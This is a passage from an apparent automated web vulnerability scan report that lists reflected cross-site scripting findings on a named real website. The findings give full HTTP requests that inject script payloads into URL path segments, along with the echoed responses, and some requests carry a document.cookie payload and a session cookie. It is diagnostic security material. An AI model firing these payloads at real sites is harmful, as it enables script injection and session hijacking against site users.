Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32190

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascripta92f8"><script>alert(1)</script>aa1bccabce8/slideshow.js?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.14. http://www.sonomafamilylife.com/javascript/slideshow.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /javascript/slideshow.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc418"><script>alert(1)</script>47a7b536c73 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javascript/slideshow.jsbc418"><script>alert(1)</script>47a7b536c73?b=20090520 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32190

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/javascript/slideshow.jsbc418"><script>alert(1)</script>47a7b536c73?b=20090520&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.15. http://www.sonomafamilylife.com/main.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /main.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa943"><script>alert(1)</script>2072ee12327 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main.cssfa943"><script>alert(1)</script>2072ee12327?b=1295447957 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:46 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32138

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/main.cssfa943"><script>alert(1)</script>2072ee12327?b=1295447957&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.16. http://www.sonomafamilylife.com/main.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /main.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50b2f"><script>alert(1)</script>9f7bc36221d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /main.js50b2f"><script>alert(1)</script>9f7bc36221d?b=20090310 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32126

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/main.js50b2f"><script>alert(1)</script>9f7bc36221d?b=20090310&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.17. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/index.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3b62"><script>alert(1)</script>67719952da8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modf3b62"><script>alert(1)</script>67719952da8/calendar/style/index.css?b=20090403 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:46 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/modf3b62"><script>alert(1)</script>67719952da8/calendar/style/index.css?b=20090403&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.18. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/index.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33a69"><script>alert(1)</script>a45a181dd0c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar33a69"><script>alert(1)</script>a45a181dd0c/style/index.css?b=20090403 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar33a69"><script>alert(1)</script>a45a181dd0c/style/index.css?b=20090403&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.19. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/index.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec0b7"><script>alert(1)</script>0f90ae10beb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/styleec0b7"><script>alert(1)</script>0f90ae10beb/index.css?b=20090403 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:22 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/styleec0b7"><script>alert(1)</script>0f90ae10beb/index.css?b=20090403&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.20. http://www.sonomafamilylife.com/mod/calendar/style/index.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/index.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a99b"><script>alert(1)</script>aa935eba48d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/style/index.css5a99b"><script>alert(1)</script>aa935eba48d?b=20090403 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/style/index.css5a99b"><script>alert(1)</script>aa935eba48d?b=20090403&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.21. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/main.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5979e"><script>alert(1)</script>c9f26d939f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod5979e"><script>alert(1)</script>c9f26d939f5/calendar/style/main.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod5979e"><script>alert(1)</script>c9f26d939f5/calendar/style/main.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.22. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/main.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41db6"><script>alert(1)</script>1538c2574c1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar41db6"><script>alert(1)</script>1538c2574c1/style/main.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:53 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar41db6"><script>alert(1)</script>1538c2574c1/style/main.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.23. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/main.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d5c"><script>alert(1)</script>f3f67b139bb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/style13d5c"><script>alert(1)</script>f3f67b139bb/main.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/style13d5c"><script>alert(1)</script>f3f67b139bb/main.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.24. http://www.sonomafamilylife.com/mod/calendar/style/main.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/main.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71c19"><script>alert(1)</script>ed7267208f9 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/style/main.css71c19"><script>alert(1)</script>ed7267208f9?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/style/main.css71c19"><script>alert(1)</script>ed7267208f9?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.25. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/mini.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fdf6"><script>alert(1)</script>b4a8985cf45 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod5fdf6"><script>alert(1)</script>b4a8985cf45/calendar/style/mini.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod5fdf6"><script>alert(1)</script>b4a8985cf45/calendar/style/mini.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.26. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/mini.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d48b6"><script>alert(1)</script>b7207834f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendard48b6"><script>alert(1)</script>b7207834f7/style/mini.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:06 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendard48b6"><script>alert(1)</script>b7207834f7/style/mini.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.27. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/mini.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8577"><script>alert(1)</script>25f49a752be was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/stylea8577"><script>alert(1)</script>25f49a752be/mini.css?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/stylea8577"><script>alert(1)</script>25f49a752be/mini.css?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.28. http://www.sonomafamilylife.com/mod/calendar/style/mini.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /mod/calendar/style/mini.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 605dc"><script>alert(1)</script>4ae4178a7c6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mod/calendar/style/mini.css605dc"><script>alert(1)</script>4ae4178a7c6?b=1243267630 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:09:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32214

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/mod/calendar/style/mini.css605dc"><script>alert(1)</script>4ae4178a7c6?b=1243267630&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.29. http://www.sonomafamilylife.com/site.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /site.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1ff0"><script>alert(1)</script>a2f2a106e6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site.cssd1ff0"><script>alert(1)</script>a2f2a106e6?b=1294094101 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
